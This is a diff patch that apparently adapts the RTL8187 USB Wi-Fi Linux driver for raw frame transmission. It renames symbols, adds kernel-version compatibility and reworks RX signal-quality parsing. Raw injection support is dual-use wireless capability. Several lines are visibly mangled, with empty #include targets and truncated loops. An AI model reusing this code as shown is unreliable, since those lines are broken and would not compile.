- + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2268,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2407,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2425,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2445,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2456,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2469,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2579,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2598,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2620,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2668,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2685,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2702,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2715,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2730,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-07-13 01:46:27.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-07-13 01:46:05.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct 